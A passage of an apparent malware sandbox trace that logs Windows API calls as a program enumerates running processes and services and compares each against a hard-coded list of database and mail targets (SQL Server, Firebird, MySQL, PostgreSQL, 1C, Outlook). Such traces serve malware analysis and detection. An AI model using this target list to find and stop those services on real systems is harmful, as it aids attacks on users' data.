(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.946] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0237.946] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0237.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0237.946] lstrlenW (lpString="RpcSs") returned 5 [0237.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0237.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0237.947] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0237.947] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0237.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0237.947] lstrlenW (lpString="SamSs") returned 5 [0237.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0237.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0237.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0237.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0237.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0237.947] lstrlenW (lpString="Schedule") returned 8 [0237.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0237.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0237.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0237.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0237.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0237.948] lstrlenW (lpString="SENS") returned 4 [0237.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0237.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0237.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0237.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0237.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0237.948] lstrlenW (lpString="ShellHWDetection") returned 16 [0237.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.949] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0237.949] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0237.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0237.949] lstrlenW (lpString="Spooler") returned 7 [0237.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0237.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0237.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0237.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0237.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0237.949] lstrlenW (lpString="SysMain") returned 7 [0237.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0237.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0237.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0237.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0237.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0237.950] lstrlenW (lpString="Themes") returned 6 [0237.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0237.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0237.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0237.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0237.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0237.950] lstrlenW (lpString="TrkWks") returned 6 [0237.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0237.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0237.950] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0237.950] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0237.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0237.951] lstrlenW (lpString="UxSms") returned 5 [0237.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0237.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0237.951] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0237.951] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0237.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0237.951] lstrlenW (lpString="Winmgmt") returned 7 [0237.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0237.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0237.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0237.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0237.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0237.952] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0237.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0237.957] Process32FirstW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.958] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.959] lstrlenW (lpString="System") returned 6 [0237.959] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0237.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0237.959] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.960] lstrlenW (lpString="smss.exe") returned 8 [0237.960] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0237.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0237.960] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0237.961] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0237.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0237.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0237.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0237.961] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.962] lstrlenW (lpString="csrss.exe") returned 9 [0237.962] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.962] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.962] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.962] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.963] lstrlenW (lpString="wininit.exe") returned 11 [0237.964] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0237.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0237.964] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.965] lstrlenW (lpString="csrss.exe") returned 9 [0237.965] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.965] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.965] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.966] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.967] lstrlenW (lpString="winlogon.exe") returned 12 [0237.967] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0237.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0237.967] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.968] lstrlenW (lpString="services.exe") returned 12 [0237.969] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0237.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0237.969] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.970] lstrlenW (lpString="lsass.exe") returned 9 [0237.970] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0237.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0237.970] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0237.970] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0238.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0238.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0238.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0238.060] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.061] lstrlenW (lpString="lsm.exe") returned 7 [0238.061] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0238.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0238.061] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0238.061] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0238.061] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0238.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0238.061] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0238.061] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.062] lstrlenW (lpString="svchost.exe") returned 11 [0238.062] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.062] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.062] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.063] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.064] lstrlenW (lpString="svchost.exe") returned 11 [0238.064] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.066] lstrlenW (lpString="svchost.exe") returned 11 [0238.066] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.067] lstrlenW (lpString="svchost.exe") returned 11 [0238.067] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.068] lstrlenW (lpString="svchost.exe") returned 11 [0238.068] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.069] lstrlenW (lpString="audiodg.exe") returned 11 [0238.069] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.070] lstrlenW (lpString="svchost.exe") returned 11 [0238.070] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.072] lstrlenW (lpString="explorer.exe") returned 12 [0238.072] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.073] lstrlenW (lpString="dwm.exe") returned 7 [0238.073] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.074] lstrlenW (lpString="svchost.exe") returned 11 [0238.074] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0238.075] lstrlenW (lpString="driver.exe") returned 10 [0238.075] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.076] lstrlenW (lpString="spoolsv.exe") returned 11 [0238.076] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.077] lstrlenW (lpString="taskhost.exe") returned 12 [0238.077] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.078] lstrlenW (lpString="svchost.exe") returned 11 [0238.078] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.079] lstrlenW (lpString="reader_sl.exe") returned 13 [0238.079] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0238.081] CloseHandle (hObject=0x30c) returned 1 [0238.081] Sleep (dwMilliseconds=0x1f4) [0238.837] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c32c0 [0238.851] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0238.853] GetLastError () returned 0xea [0238.853] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x41d0998 [0238.853] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0238.854] CloseServiceHandle (hSCObject=0x41c32c0) returned 1 [0238.854] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0238.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.855] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0238.855] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0238.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0238.855] lstrlenW (lpString="AudioSrv") returned 8 [0238.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0238.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0238.855] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0238.855] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0238.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0238.855] lstrlenW (lpString="BFE") returned 3 [0238.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0238.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0238.855] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0238.856] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0238.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0238.856] lstrlenW (lpString="CryptSvc") returned 8 [0238.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0238.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0238.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0238.856] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0238.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0238.856] lstrlenW (lpString="CscService") returned 10 [0238.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0238.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0238.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0238.857] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0238.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0238.857] lstrlenW (lpString="DcomLaunch") returned 10 [0238.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.857] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0238.857] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0238.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0238.857] lstrlenW (lpString="Dhcp") returned 4 [0238.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0238.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0238.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0238.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0238.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0238.858] lstrlenW (lpString="Dnscache") returned 8 [0238.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0238.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0238.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0238.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0238.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0238.859] lstrlenW (lpString="DPS") returned 3 [0238.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0238.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0238.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0238.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0238.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0238.859] lstrlenW (lpString="eventlog") returned 8 [0238.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0238.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0238.859] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0238.859] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0238.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0238.861] lstrlenW (lpString="EventSystem") returned 11 [0238.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") 